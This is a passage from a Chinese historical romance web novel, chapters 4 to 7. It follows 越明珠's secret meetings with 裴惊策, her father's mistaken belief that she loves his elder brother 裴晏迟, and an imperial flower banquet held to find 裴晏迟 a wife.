刚才什么担忧啊顾虑啊全都被抛到脑后,越明珠愣了愣,睁大杏眼:“我不是那个意思……”
裴惊策装作疑惑地蹙起眉:“我理解错了?”
他明知故问,又忽而勒紧缰绳,让马慢下来,嗓音也跟着放缓:“那你说说,你若不是看不惯我,又是什么?”
“我、我……”
越明珠脑子一团乱麻,支支吾吾半天说不出个所以然。
不知道是因为急的还是别的,她颊边的红晕越来越明显,脸蛋像颗娇嫩多汁白里透粉的桃子,叫人忍不住想尝一口。
“说了什么?没听清。”裴惊策又凑近了几分。
越明珠唰地别开脸,根本不敢看他。
本以为裴惊策会依依不饶地追问,没想到过了一会儿,耳侧只响起闷闷的笑声。
最初是从唇里泄出来几个气音,听不真切,后来便越来越明显。
他笑什么?越明珠茫然地转过脑袋,猝不及防撞上那双充满戏谑的桃花眼。
对视了好一会儿,她总算后知后觉地反应过来:
……裴惊策又在逗她!
4. 04
越明珠已经数不清这是第几次上裴惊策的当,她忍不住推了他一把,又羞又恼地放下狠话:“你不许笑,我以后不会再被你骗到了!”
这一推好像碰到了他的伤。裴惊策身子摇晃,“嘶”了声,剑眉拧起,脸上只剩凝重。
越明珠被这突如其来的变故吓到了,小脸煞白,手足无措:“你、 你的伤……”
裴惊策却一下笑了起来:“不是说不会再被骗到了吗?”
从神情到语气,里里外外哪有半分受了伤的痕迹。
越明珠:“……”
怎么办,好像又上当了。
“看吧,”裴惊策轻身,用指节敲了敲她的脑袋,“与其担心我那点伤,不如担心担心自己。”
他抬眸看向前路,一边松开缠在手腕上的缰绳,一边低低哼笑:“上了那么多回当,怎么还不长记性?”
越明珠仰起脸。因着角度缘故,只能看见他线条利落的下颌,还有噙着笑意的唇角。
……笑起来真好看呀。
这天底下一定找不出第二个像阿策哥哥这么俊美的郎君。
皱眉好看,展眉也好看。
刚刚那段插曲被抛到脑后,越明珠忍不住犯起花痴,盯着他看了好久好久。
直到马背一阵颠簸,她才回过神。
还有好多东西没问呢,最重要的可是关乎裴惊策的安危。
“阿策哥哥,”越明珠用指尖勾了勾他腰间垂落的挂坠,“你突然推迟邀约,是不是遇到了什么变故?”
裴惊策虽然很少主动跟她解释什么,但一向有问必答:“看到了赶工的成品,不太满意,过几日再让人送过来。”
嗯?原来是这样。
意料之外,但细想又是情理之中。
小少爷吃穿用度都挑得最好的,送出手的礼物自然不会差。
何况,这还是回到上京以来,他正式送她的第一样东西。
自从回了这个耳目众多的地方,为了不给彼此添乱,他们很少再交换信物。这份以及笄之名送来的贺礼,意义珍重万分。
想到这,越明珠的脸颊又忍不住热了起来。
……但现在不是想这些的时候!
想起裴晏迟那双如月中聚雪的眼眸,越明珠心头甜意倏地消散,只剩一阵阵后怕:“还好你没有来,不然肯定会撞见你长兄。”
裴惊策勒紧马缰的动作一顿,眉眼间的笑痕几不可闻地淡了下来。
“你说裴晏迟?”
越明珠点头,复述起刚刚的遭遇。
她在心里已经斟酌过好几遍用词,可讲出来还是没头没尾、颠三倒四。
这也怪不了她。事发突然又蹊跷,换个人来也不可能理清楚前因后果。鬼知道裴晏迟怎么会正正好好地出现在那间偏僻的茶室?!
讲着讲着,越明珠忍不住观察起裴惊策的表情。他眉心微皱着,脸上的笑意已经完全被看不懂的情绪所取代。
裴家兄弟失和早已经不是秘密。
裴大公子上个生辰设宴,冠盖云集,连亲姑母皇后娘娘都亲自莅临。唯独裴惊策称病离席,实际上是在一墙之隔的府邸里同好友逗猫遛鸟,打发了一整天的空闲。
这事私底下传遍了上京。众人纷纷感叹小少爷实在顽劣,竟如此不分轻重。
但越明珠知道,分明是裴晏迟有错在先。
裴惊策很早就同她提过几句,她后来去找他身边人打听,又听到了许多不为人知的事——
譬如有一回,裴惊策挨骂受训时,正遇上裴晏迟难得回府。裴晏迟瞧见他受家法,连一句关心或者问候的话语都没有,直接视若无物地擦肩而过。
这种事情私底下肯定发生了不止一次。对亲弟弟都如此冷血无情,还为难她一个无辜的弱女子,这人还能是什么好人吗?
绝对是个道貌岸然的伪君子!
这样一个虚伪冷酷又睚眦必报的家伙,肯定对裴惊策的作风不满已久,说不准要搞什么阴谋诡计对付裴惊策呢。
“对了,他还想让爹爹管教我,也不知道我回府后会不会被禁足……”
裴惊策闻言,抬眸:“就算不禁足,最近也不适合再见面。”
“……”
越明珠一下子成了霜打的茄子,漂亮明媚的小脸都蔫巴成一团。
她不死心,小声问:“真的吗?”
垂着的睫毛遮住瞳仁,像是只委屈的小猫。
饶是谁看了都忍不住软了心肠,偏偏裴惊策还是如常的语气:“只是最近而已。”
他不再解释。但越明珠知道,他比她聪明得多,这么做肯定是有道理的。
纵使再不情愿,越明珠也不得不乖巧地点点脑袋,低低地道:“那我等你,你……你也要多注意。”
因为这一出,裴惊策没了再同她继续逗乐的兴致,调转马头意欲回程。
走了大半程,越明珠终于草草平复好了内心的失落。
“阿策哥哥,还有件事我想问你……”
“席上好多人提到你跟任四小姐的传闻,都说你正在跟她议亲。我信不过别人,想亲口听你说。”
越明珠知道自己嘴笨,学不会拐弯抹角,所以干脆直白一点。
而且,她不想跟裴惊策之间有任何误会,能坦坦荡荡把一切说开了最好不过。
裴惊策只停顿了片刻,便道:“裴任两家确实有联姻的打算——”
越明珠的手攥紧袖边。
“不过他们应该想要攀更高的高枝。”
在跟裴惊策有关的问题上,越明珠的脑子转得比平时快很多。她很快就浮现出一个答案:“你长兄吗?”
裴惊策不置可否,算是默认。
这么说来,那些流言蜚语只有一半是真,任雪韵其实是在跟裴晏迟议亲?
细想一下,好像确实是这么回事。
裴晏迟年长裴惊策四岁,都二十有三了,至今不近女色,好像连
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通房都不曾有过,清心寡欲得很。太傅夫人一直很着急他的婚事。
若要议亲,肯定要先议嫡长子。
裴晏迟早早回京,说不定就是为了回来相看中意的妻子。
没错,这样子一切都说得通。
不过唯独一点……
越明珠重新抬头望向裴惊策,一本正经地纠正道:“你那么好,我觉得没有比你更高的高枝了。”
裴惊策一顿。
阳光正好透过树梢照进来,在少女那双真挚得发亮的眸子里熠熠跳跃。
她总把什么事情都写在脸上,叫人一眼看穿,轻而易举地就分辨出她说的是实话。
一如既往的烂漫天真。
连表达心意的方式都如此热烈又笨拙。
对视片刻,他意味不明地扯了扯唇角,视线挪开看向前方。
“马上到林子外了。你等下若是不准备再去席上,我派人送你回府。”
*
马场内,比试刚告一段落。
裴惊策一进来就被一群人拦了去路。那些人骑的马匹不敢靠近他刚驯服的玄色龙驹,只能虚虚围在四周。
耳边叽叽喳喳一大堆,裴惊策懒得听,径自朝仆从道:“去拿弓箭来吧。”
小少爷对打马球没了兴致,还未分出输赢的马球赛自然也不了了之。众人又跟着在马背上比试起箭法。
薛衡没参与,骑着马悠哉悠哉地跟在裴惊策身后:“你这次回来得也太快了一点。”
别人不知道越明珠跟裴惊策的关系,他作为裴惊策密友却是一清二楚。这话难免染上些揶揄色彩。
裴惊策正在拉弓瞄准,瞥了他一眼:“连这也问,你准备净身进宫当公公了?”
“瞧你这话说的,我这不是怕你处理不完那些风流债嘛……”
薛衡还想嘴贫,声音却被一阵雷鸣般的喝彩声淹没。
定睛一看,原来是裴惊策一箭正中靶心。
其他人七嘴八舌地恭维,裴惊策自己倒显得意懒情疏,没搭话,低头摆弄起弓梢。
等喝彩声消停,薛衡又凑过来,继续见缝插针地打听:“你跟任雪韵的终身大事谈到什么地步了?我娘说太傅夫人最近天天邀请任大人的续弦小聚。”
“没问过。”裴惊策眼也没抬,“你娘应该知道得比我多。”
薛衡:“……确实。”
还不如让他妹妹去跟任四打听,瞧任雪韵那副模样,肯定对这番婚事颇为上心。
薛衡在心中感叹一番,识趣地转了话锋:“话说啊,是没看到我刚刚打马球的时候赢得有多漂亮,要不是你走了,我们高低得来上两场,让你再开开眼!”
“下次再比吧。今儿来的人参差不齐,没意思。”
薛衡:“所以你看了两眼连打都没打,就去找那个小女郎叙旧了?”
裴惊策不置可否,嗤了一声,轻慢地应:“跟他们比实在无聊,还不如随便找点东西解解闷。”
5. 05
春昼漫长,接近戌时天光才垂垂暗淡,暮霭卷尽,霞光暗斜。
为了晚些回府,这两个多时辰里越明珠几乎使劲了浑身解数——
先是发挥礼让他人的美德,拖到最后一刻才离开踏青宴,又以嘴馋为由去了好几处偏僻的食铺茶庄,总之三过家门而不入,说什么都不肯让马车好好停在越家大门前。
但未出闺阁的女郎绝不能在外边待太久。眼下天色渐暗,再怎么不想也必须得回去了。
一走进前厅,越明珠远远就看见主座上端坐着的越轻鸿。
常年在都察院差事的中年男人自带威仪之气,一袭官袍未曾换下,更衬得面目严肃。
说实话,越明珠长这么大,还没有见她爹脸色凝重至此。
就算她之前犯了宫规,越轻鸿也不过是无奈地叹叹气,说了她几句,便让她回厢房好好思过罚抄了,哪里会摆出这副审问犯人一样的做派?
越明珠心下当即升起一种极为不详的预感。
“终于肯回来了?”越轻鸿也瞧见了她,定定地看了好半晌,道,“全须全尾的,果真又是在装伤。站那么远作甚,过来吧,为父有话问你。”
语气也是前所未有的郑重。
“……”
怎么办,好像真的完蛋了。
该不会等待她的不只是禁足,而是被赶回江南吧?
越明珠心头一瞬间百转千回。
她硬着头皮挪到越轻鸿跟前,不敢看她爹的神情,低下脑袋可怜巴巴地认错:“爹爹,对不起,我不是故意给你惹麻烦的……”
“女儿知错了,接下来一定好好呆在府中思过,哪也不去……”
越轻鸿轻轻地叹了一声,正色问道:“明珠,爹只问你一句,你是不是爱慕裴大公子已久?”
“爹爹,女儿真的不想回江南或者去别的地方,只想陪在……”
越明珠后知后觉地愣住,蓦地抬起脑袋,“什么?”
越轻鸿深深地看了她一眼,语重心长地道:“你一定要跟爹说实话,你到底。”
她?爱慕裴晏迟?
越明珠把脑袋摇得像拨浪鼓似的:“绝对没有这回事!”
越轻鸿一个字都不信,喝了一口茶,悠悠道:“那你好好跟爹说说,你是怎么私底下冲撞到他了,具体是何时,何处,何事?”
“……”越明珠瞬间不吱声了。
她可编不出理由解释自己为什么会去四下无人的茶室。
若追问起来,跟裴惊策的事情或许就瞒不住了。
难道要继续装头疾?
可她爹早已经熟悉了她的这些小伎俩,肯定不会相信。
越轻鸿一见她心虚地眨巴起眼睛,便知道自己问到了点子上。
此事蹊跷,裴大公子身份如此清贵,越明珠怎么能随随便便私下见到?定然是有人故意为之。
不可能是裴晏迟有意,就只剩下一个答案。
越轻鸿忍不住叹气:“你已经及笄,不愿意跟为父细说也是应当的,但也不该头脑一热就这么冲动行事啊。”
越明珠生母早逝,他至今不曾续弦,府中只有嬷嬷跟丫鬟照顾越明珠的起居。对于越明珠的这些事,便不免疏忽了些。
不曾想越明珠有了自己的主意,竟然在及笄之后做出如此出格的举动。
越明珠:“爹爹,真的不是你想的那样……”
“不必说这些。”
越轻鸿一脸了然:“为父虽然不关心这些风花雪月,但也知道裴大公子是这上京城里的梦中情郎,你心悦他是人之常情,无可厚非。”
他在宦海浮沉几十载,自然无比清楚裴氏一族是何等门庭赫奕。本朝第一位内阁首辅便姓裴,往后百年上京的权柄都牢牢握在裴氏手中。
如今诸多世家挟权弄势,分走的也不过是裴家毫毛,连当今皇后都是裴太傅的胞妹,裴氏地位可想而知。
出身于这般显赫的门阀之中,裴晏迟的手段比前人更甚,不过二十三就做到了许多人一生都难以企及的高度,坐稳了通政使的位置。
这两年清洗逆党之事也做得极其漂亮,强硬、铁血、冷酷,叫他们一群老辈都自叹不如,可想而知此子未来几十年能够有何等经天纬地的成就。
——这样的人,他家那笨头笨脑的明珠绝对高攀不起,他也绝对没有任何妄念想要明珠去高攀啊。
虽说这回没闹出大乱,可下回呢,下下回呢?瞧明珠这痴情不改的样子,分明就是没记住教训。
越明珠急得拉起了他的衣袖。越轻鸿满腹愁思,全然没留意女儿又在狡辩些什么,挥了挥手,打断道:
“别说那些没用的,先让云青带你去休息吧,容为父好好想想。”
…………
越明珠觉得她也需要好好想想了。
一直到被云青牵回厢房,她都还没有想通——到底发生了什么,会让她爹觉得她钟意裴晏迟!?
越明珠以前会偷偷觉得对不起越轻鸿。她爹作为左副都御史,都察院重臣,江南越氏远近闻名的才子,偏偏有她这样笨头笨脑的女儿,实在是晚节不保。
不过今天之后一定不会了。她爹这样子也不是很聪明,果然有其父才有其女。
坐在梳妆台前,越明珠清楚地从铜镜中瞧见自己一脸的惆怅:“云青,你说该找个什么样的理由,才能又不牵扯到阿策哥哥,又跟我爹解释清楚?”
云青:“奴婢觉得不该解释。”
“为什么?”
云青拿过木梳,一边为她打理如瀑青丝,一边解释:“多说多错,老爷不知道小姐同小少爷的事,只是因为从前不多加过问,若多问些,依照小姐的性子,肯定都藏不住的。”
越明珠撑起脸蛋:“那难道真的要让我爹一直误会下去吗?”
云青宽慰道:“就是一个误会而已,少女怀春,老爷肯定能理解。”
嗯,就是一个误会而已。
……但怎么偏偏就误会到裴晏迟头上了呢?
越明珠几乎没有讨厌过谁,裴晏迟已经算是她最看不惯的人之一。跟这种人的名
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字扯上关系,光是听着就叫人不舒坦。
说起来,她在江南就见过裴晏迟,以前他可没有现在这么讨人厌。
那时候裴晏迟不过十四五岁,却早已经有了远超年纪的老成持重。无论是谁都夸裴大公子是天纵之才,有名门望族之风,不愧为裴氏长子。
这样的人显然满心都是君子六艺、文韬武略,懒得搭理他们这些幼稚的小孩子。
越明珠隔三差五去找裴惊策玩,却很少见到同在府邸里的裴晏迟。
不,偶尔也会打上几个照面。
比如她跟裴惊策在庭院里放纸鸢,互相比试谁放得高放得远。
裴惊策中途离开了一会儿。她心不在焉,一个不小心就把纸鸢挂在了小阁楼的窗棂上。
小越明珠惊叫一声,连忙喊人帮忙,还没把裴惊策喊回来,阁楼的窗子就被人推开了。
身着玉色衣衫的少年长身侧立,手里捧着一本薄书,瞧着是在温习。
越明珠仰起脑袋,大声询问道:“哥哥哥哥,可以帮我把纸鸢拿下来吗?”
裴晏迟冷淡地看着她:“你在叫谁?我不是你哥哥。”
越明珠从小没有被人凶过,也不知道裴晏迟这冷冰冰的语气是在凶她。
她只觉得这人脾气有点差,但并没有自己应该识趣地闭嘴的自觉,继续问:“我只是不知道该怎么叫你,好心人哥哥,你可以帮我把纸鸢拿下来吗?这对我真的很重要。”
她一口气说了好多个“求求你嘛”。
可能是觉得她太烦了,裴晏迟合上书,伸手解开了缠在窗棂上的筝线。
越明珠喜笑颜开地收回纸鸢:“谢谢你呀,你温书累了吗?要不要下来跟我和阿策哥哥一起玩纸鸢?我们还有多的……”
说着说着,突然听见裴惊策在叫她。
她回头应了一声,再转过脑袋来时,雕花木窗已经严丝合缝地关上了。
还好没有给越明珠多想的时间,裴惊策很快就拎着一笼热气腾腾的桂花蜜糕跑了过来。
“昨天是不是有人说过想吃这个?”
桂花跟米糕混合的甜香让越明珠马上忘记了刚刚的意外。
她从小就馋,闻见香味几乎走不动路了,想了想却没有去拿,诚实地问:“我刚刚放得没有你高,我输了,你赢了,我还能吃吗?”
“……?”
裴惊策惊讶地看着她,接着又莫名其妙笑了出来。
“明珠妹妹,你不会觉得我跟你放了两个时辰纸鸢,就是为了赢过你吧?”
越明珠呆了好久,若有所思地垂下睫毛,细声细气地追问:“那我以后总赢不过你,还能来找你放纸鸢吗?”
裴惊策哼笑,伸出手到她面前。
“当然,拉勾为定。”
直至今日,越明珠都还记得,他说这话时,一直用那双比小姑娘家还漂亮的桃花眼盯着她,显出十二分的认真。
……实在想不通,这样哪哪都好的人,怎么会有裴晏迟这样的兄长。
真是判若云泥。
6. 06
胡思乱想着,咚咚咚的敲门声倏而响起,将越明珠拉回了现实。是管事妈妈在唤她,说送了些东西过来。
大晚上送什么东西,不会是她爹让人来带话了吧?
越明珠一下子正襟危坐。
大抵是明白她的心情,云青动作格外麻利,很快就抱着一个大大的乌木盒回到内室:“小姐,只是裴大公子的属下登门拜访时送的药膏跟药粉。”
“……噢。”
“那随便放着吧,别放在我能看见的地方。”
越明珠连忙又问:“那我爹有没有说什么?”
云青:“大公子没有深究小姐的过错,老爷认下了小姐的头疾,跟孙妈妈说要小姐你将计就计好好休养,并没有提到家法处罚。”
说来有些出乎意料。那个叫庄河的属下登门,竟然没有让她爹禁她的足,也没有要把她逐出上京城。
好像真的只是转告了事实,说了些有的没的,再假模假样地关心了一句她的伤。
云青:“孙妈妈说,裴大公子君子端方,不会跟小姐这般病弱女子斤斤计较,也没有把跟小姐的过节放在心上。”
云青知道自家小小姐装病手段有多拙劣,之前还暗暗担忧,要是骗不过裴大公子,岂不是罪加一等。
没想到小小姐竟然这么有出息,竟然能在这般人物的眼皮子底下蒙混过关。
越明珠自己也没想到。
裴晏迟眼睁睁看着她装伤的时候,明明是又冷冰冰又不耐烦,瞧着下一刻就能命人把她拖出去斩了,怎么事后突然变得这么宽宏大量?
……算了算了,想不明白就不想了。
越明珠一向心很大,很快就把那点想不清楚的疑惑抛之脑后:“不用禁我的足就好。”
云青:“不过,孙妈妈还说了件事——”
“那个属下来咱们府上时,用的是裴大公子最常用的车马,好像有些招摇,有不少人都认出来了。这才过了一个时辰,隔壁那位翰林院侍讲学士吕大人,便差了人打听消息。”
照这样下去,一传十,十传百,可想而知明日乃至过几日会是什么光景,恐怕全上京城的人都知道了。
越明珠杏眼圆睁:“……啊?”
“等等,那岂不是很快全上京都知道我得罪了裴晏迟……”
没惊讶多久,越明珠又忍不住忧心忡忡,咬起唇瓣:“我以后不会去哪儿都被人拦着吧?”
云青提醒:“大公子的人没有追究,其他人怎么会知道他与小姐有过节?”
……好像也是。
那就无所谓啦。上京那些总爱用下巴看人的千金小姐们怎么看她,越明珠一点都不在意。
比起这个,她更在意桌上的吃食。
之前为了拖延买了各种各样的糕点,大半都还没尝过,如今堆在桌边争先恐后散发香气,勾着人忍不住分神。
比如那碗糖酪樱桃,放凉了还能吃吗?
越明珠尝了一口。微微凉的时候没那么甜腻,蔗浆糖霜脆爽,似乎比平日更是美味。
她本来只打算尝尝,这下好了,越尝越馋,忍不住一颗接着一颗,全然没注意到一旁的云青反复欲言又止。
其实方才孙妈妈还跟云青叮嘱了几句别的。
说裴大公子身处显位,一举一动都受人瞩目。停在越府大门前的马车上明晃晃绣着独属于裴大公子的纹式,长眼睛的人都会留心。
前脚裴大公子的属下给越大人送了药材,后脚越小小姐伤重要休养数日,两件事放在一起,多少能猜出些什么。
虽说都知道大公子不可能看上越小小姐这般的女子,但男女之间,难免传出点风言风语。
……这些有的没的,说出来只会给她家小姐徒增是非,还是不说了罢。
越明珠才不知道云青在想什么。她很快吃完了一整碗糖酪樱桃,又觉得口渴,舀了碗百果奶露清口。
喝着喝着,突然听见云青惊呼了一声。
不等她发问,云青连忙将青瓷药瓶的瓶底拿给她跟前:“小姐,大公子送来的好像都不是一般的药,上面还有官印呢。”
梳妆台边的烛火微微摇曳,映照出上面阴刻的篆文。
越明珠:“这好像是宫中之物的印记……”
“不对呀,”她蹙起黛眉,“我刚刚冲撞了裴晏迟,他不怪罪我就算了,怎么会给我送这么贵重的东西?”
云青愣了一下,瞧着自家小姐那称得上勾魂摄魄的花容月貌,惊疑不定道:“该不会……”
越明珠自言自语:“该不会裴晏迟在里面下毒了吧?”
“……”云青瞬间打消了那些关于男女之情的猜想,“肯定不会的,小姐宽心。”
这种深宫后宅才有的腌臜手段,裴大公子肯定不屑于用。
何况都说裴家私库可以抵得过半个国库,珠万斛、金千籝,堆金累玉无奇不有。
那些御赐之物对其他人来讲珍贵万分,但在裴大公子眼中,恐怕都是些无足轻重的东西,随随便便送给旁人也不足为奇。
“既是宫中娘娘们才用得起的,小姐要不要拿出来用一用?”
越明珠想也不想,果断地摇起脑袋:“不要。”
“可小姐肌肤娇嫩,又总是小磕小碰,身上常有青紫,寻常药膏难免力不从心。用这些太医使调配的东西,以后便不用再担心留疤,还能愈发白皙呢。”
越明珠又喝了一口百果香露,斩钉截铁地道:“不行,反正跟裴晏迟有关的任何东西都不能出现在我的厢房里。”
她现在瞧见跟裴晏迟有关的东西就心烦。
况且,对于那些上京贵女趋之若鹜的妆粉药膏,越明珠并不感兴趣。
反正无论怎么样都算不上真正的美人,还不如省些功夫。
时下盛行弱柳扶风的娇弱之态,她却实在不够纤瘦。
归功于她那张贪吃的嘴,就算小时候大病过好几场,如今也把肉全都长了回来。
而且每次都不长在其他隐蔽的地方,只长在身前丰腴处,遮也没办法遮。
好像就在明晃晃地告诉别人,快来看,这个越明珠每天都吃得好多好多,还长了那么多的肉。
越明珠也因此沮丧过,发誓以后再也不多吃一口糕点。
但很快她就发现,每天不吃糕点好像更令人沮丧。
而现在天天看见裴晏迟和跟裴晏迟相关之物,比不吃糕点还要难受一百倍。
越明珠哼了一声,强调道:“你随便放哪儿,反正越远越好。”
…………
接下来的时日,越明珠都乖乖地待在闺中,哪儿都没去,认真装出休养头疾的架势。无聊了就差云青去买新的话本,津津有味地消磨着光阴。
她全然不知外边的街谈巷语都在说什么,也并不关心。
每回让云青出去打听的消息,都是关于裴惊策,还有他那份不知何时会送到府上的及笄礼有没有送来。
不曾想及笄礼迟迟没有音信,先送到府上的竟然是宫里的请柬——皇后邀三品及以上官吏之女次日入宫陪她赏花。
皇后娘娘性子温婉,平易近人,又爱好侍花弄草,宫中隔三差五便广邀女眷进宫赏花作乐。
越明珠不爱去那些叽叽喳喳的筵席,但很喜欢皇后娘娘的赏花宴,谁让御膳房的点心做得实在叫人念念不忘。
次日天晴如洗,惠风和畅,是个宜观赏玩乐的黄道吉日。
马车里,云青又在反复叮嘱入宫的规矩。
越明珠左耳进右耳出,没认真听,满心都在这大好的仲春光景上。
她双手捧脸,难掩向往:“好想去放纸鸢啊。”
准确说,是想跟阿策哥哥一起去放纸鸢。
当时他们拉过勾,本来约定好以后要经常一起。
但隔日一早,她爹不知道从哪里听说她跑上跑下放了一天纸鸢,吓个半死,生怕她没轻没重地磕碰出伤口,找了好一堆女大夫挨个来给她看诊。
那阵仗太大了,越明珠有些心虚,就乖乖地答应越轻鸿以后再也不做这种危险之事。
跟裴惊策的约定,自然也就无疾而终了。
说起来,最近不能见面,等见到的时候,也过了放纸鸢的时节。不过若能跟阿策哥哥一起,无论做什么都有意思,入夏也有很多好玩的地方和有趣的事物……
“小姐,到了。”
越明珠回神,整理好衣裙下了
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马车。
宫门外车马如龙,贵女们正三五成群地聚在一起。
越明珠一向都是独行,没想到今日刚走出几步,便有人匆匆迎了上来。
“呀,这不是越妹妹吗?”
声调不高不低,刚一说完,越明珠就感觉无数道目光投到她脸上。
她无暇顾及,疑惑地看向来人,水蓝衣衫,面容陌生:“你是……”
“我们上回在落芳阁打过照面,越妹妹还记得吗?”
蓝衣衫自然而然地凑到了她跟前,笑着道:“真是好久不见了。”
接下来,又陆陆续续有几个同样陌生的面庞走近跟她打了招呼。热情得叫越明珠愈发迷茫。
其他人说了两句便走了,唯独蓝衣衫始终在一旁打量着她,还捂嘴笑道:“之前没认真看过,现在我才发现越妹妹原来出落得如此楚楚动人。”
这话听起来有点奇怪。
越明珠不解地眨了眨眼,软声细语地问道:“你找我,就是为了说这些吗?”
她巴掌大的脸蛋上满是真挚,却叫那蓝衣衫笑容僵了一瞬。
“……我这不是听说妹妹大病初愈,专门来关心关心。”
“看妹妹这样子,哪儿还有一点病气?看来裴氏私库的药材确实名贵呀。”
越明珠脸上迷惑更甚:“什么?”
试探之语全都砸在了棉花上,也不知道这个越家小小姐到底是真傻还是装傻。蓝衣衫咬牙,干脆直白地挑明:
“这不是众所周知的事情吗?裴大公子怜惜妹妹伤病,派人送了好些药材,想必都是我们这些人没见过的天材地宝。”
原来如此。
越明珠恍然大悟,怪不得对她都一反常态地热情,原来是想套近乎问跟裴晏迟相关的事情啊。
云青早早提醒过她,她没觉得很意外。但谣言总是越传越离谱,越明珠实在不想跟她们多说,只解释道:“我不清楚这件事,也没有用过别人送的东西。”
蓝衣衫不死心地追问:“那大公子为什么刚回上京,就派人去越大人府上?”
越明珠正想着怎么搪塞过去,就听见身旁兀自传来一声轻哂。
“裴大公子忙于清剿逆党残余,当然要频繁与都察院共事。越大人身为左副都御史,找他难道不是非常合乎情理?”
女声清丽,又透出莫名的讥诮。
“信他会留意一个不值一提的女子,不知是不了解裴大公子的为人,还是听多了故意捏造的谣言。”
顺着声音看去,说话的女子模样出众,身段高挑,正挑起下巴睨越明珠,处处都带着高人一等的意味。
越明珠隐约记得,这是楚将军的女儿楚叶彤。那日她差点做了投壶的靶子,就是这人跟任雪韵提议的。
这些人自恃出身上京城,瞧不起她这种刚刚从江南来的小门小户,每回见到她,免不得要嘲笑甚至作弄一番。
楚叶彤上下扫视了她几下,眼中不屑更浓,冷哼一声道:“挡在这里做什么?修敏,走了。”
她头也不回地沿着官道扬长而去。蓝衣衫应诺,连忙跟紧了她的步伐。
四周其他人见状,也不再留意越明珠,窃窃私语着离开了。
一转眼,又只剩下越明珠一人落单。
云青快气死了:“小姐,这群人真是欺人——”
“终于走了,刚刚好吵。”
越明珠朝她眨了眨眼,“我们慢慢走吧,来之前吃多了,我要消消食等着御膳房的点心。”
等她慢慢悠悠来到御花园时,其余人几乎都到齐了。甫一落座,就听见太监通报:“皇后娘娘到——”
所有人立即起身行礼,齐声道:“参见皇后娘娘,皇后娘娘万福金安。”
这还没完,那太监又道:“通政司通政使裴晏迟裴大人到——”
嗯?她是不是听错了?
裴晏迟来这种地方做什么?
越明珠愣住,交叠行礼的手一松,宽袖边扫过案桌,被打翻的瓷杯骨碌碌滚了下去,“啪”的一声,碎得四分五裂。
原本紧随在凤驾其后的墨色身影在她面前停住步伐。越明珠抬起脸,正对上男人平静而冷淡瞥来的视线。
7. 07
不过一瞥,裴晏迟便敛回目光,面无表情地走到凤驾左侧的位置上落座。
宫女上前收拾瓷杯碎片,闹出的动静才让越明珠回过神来。她连忙低头朝皇后福身:“皇、皇后娘娘,臣女过失……”
裴皇后语气温和:“无妨,都坐吧。”
众人再度齐声:“谢娘娘恩典。”
坐下后,越明珠便听见身侧传来不怀好意的窃笑。
也不知道是不是在笑她刚刚出糗,越明珠没放在心上,抬头看向上座。
离得太远,她连皇后娘娘的脸都看不清,只能模糊地瞧出妇人绰约的气度。
至于左侧的裴晏迟……嗯,实在有点煞风景。
宴上花团锦簇,女子们也着七彩华裳,恍若仙宫盛会。
就这个男人一身坐蟒暗花云纹的黑色锦服,全然格格不入,怎么看就怎么不顺眼。
越明珠又想起刚刚那稍纵即逝的一瞥,也不知道是不是在看她。
难不成是她刚刚笨手笨脚惊扰到了他,又被他在心中暗暗记了一笔?
大有可能。这么小心眼的人,明面上或许一时半会懒得跟她计较,但私底下肯定都是很记仇的。
事不过三,算起来,她好像已经得罪了他三次吧……
越小小姐的后颈忽然有一丝凉意。
她默默地往旁边挪了挪,虽然毫无意义,但至少心里头觉得离裴晏迟又远了几寸。
“二月初穆夫人进宫了些西府胭脂海棠,都说不易养活,本宫悉心照料至今,总算见它开了花。”
映入眼帘的西府海棠高及丈许,锦棠红濯,绿鬓朱颜,叫这春色都盎然了几分。
裴皇后偏过头,笑容满面地道:“子淮案牍劳形,恐怕除了这些时刻,平日里也难得有闲情雅致赏花。”
裴晏迟拱手,平淡地应道:“多谢皇后娘娘恩典。”
“今日不说这些,本宫并不只是皇后,也是从小看着念着你长大的亲姑母。”
裴晏迟:“皇后娘娘所言极是。”
裴皇后顿了顿,没再继续说了,转头又继续提起她这些日子养花的趣事,席间很快便全是欢声笑语。
越明珠嘴笨,实在没有让皇后娘娘心花怒放的本领。每到这种时候,她都一边听着大家巧舌如簧,一边静静地吃玉露团。
甜津津的,就着西湖龙井一口团子一口茶刚刚好。
吃着吃着,又听见裴皇后忽然感叹:“说是赏花宴,可本宫在这儿看来,真真是人比花娇。”
皇后身边的姑姑附和道:“这些花花草草不会说不会动的,自然不如咱们上京城的女郎活泼灵动、赏心悦目。”
——“臣女昭勇将军楚巩之女楚叶彤,听闻娘娘曾经尤善习舞,想斗胆班门弄斧,以金翅舞博娘娘一笑。”
楚叶彤站起身,朝座上恭谦行礼。
裴皇后颔首同意:“甚好。”
不过刹那,宴上气氛便陡然微妙,众人神色各异,低声私语连绵不绝。
听她们讲,越明珠才后知后觉地意识到,原来这次赏花宴的目的不是赏花,是给裴大公子相看妻室。
怪不得上京家室正三品以上的适龄千金几乎都来了,比往日要浩浩荡荡许多。
怪不得方才楚叶彤一见她就连讽带刺,和着是怕她抢了自己的风头。
“……”
她还是继续吃她的点心吧。
等楚叶彤来到席间时,四周艳羡妒忌的目光便更是多得藏也藏不住了。
毕竟能起头献上才艺,肯定是裴皇后授意过,弦外之音不言而喻。
越明珠只好奇楚叶彤的舞如何。
听闻金翅舞以水袖拟作金乌展翅之态,刚柔并济,美不胜收,也不知道亲眼看时会不会有话本里说的那般惊艳。
她并没有留心旁人讨论的那些弯弯绕绕,然而事与愿违,似乎有谁留心上了她。
“乐舞响应。金翅一舞灵动,不如再叫人奏琴相伴。”
这话一出,席下立即有好些人跃跃欲试。然而裴皇后沉吟片刻,道:“不如就……都察院越大人的女儿在吗?”
??
谁?
直到所有人都齐齐看向她,越明珠才确定,皇后娘娘说的真是她。
皇后娘娘怎么会记得她爹一个三品官员的官职?
越明珠大脑一片空白,起身后也不知道说什么,张了张嘴,磕磕巴巴地道:“臣女万分荣幸,只是……”
只是寻常贵女们会的琴棋书画她一样不会,而且一点都不想弹给裴晏迟啊!
这样的真心话自然不能光明正大地说,她绞尽脑汁,终于艰难地编出了借口:“……只是臣女大病初愈,实在有心无力。”
少女小心翼翼,纤细白腻的颈子微弯时透出几分怜弱。裴皇后看了看她,又看了看旁边,改口道:“那便换一位吧。”
越明珠如蒙大赦,连忙谢恩坐下。
想要为裴大公子奏乐者不计其数,很快便有数位擅古琴的千金小姐自告奋勇。
瞧裴皇后的样子,似乎有些犹豫不决,没定下哪位最合眼。至于裴晏迟……
越明珠刚悄悄看向他,男人便恰好抬起眸。
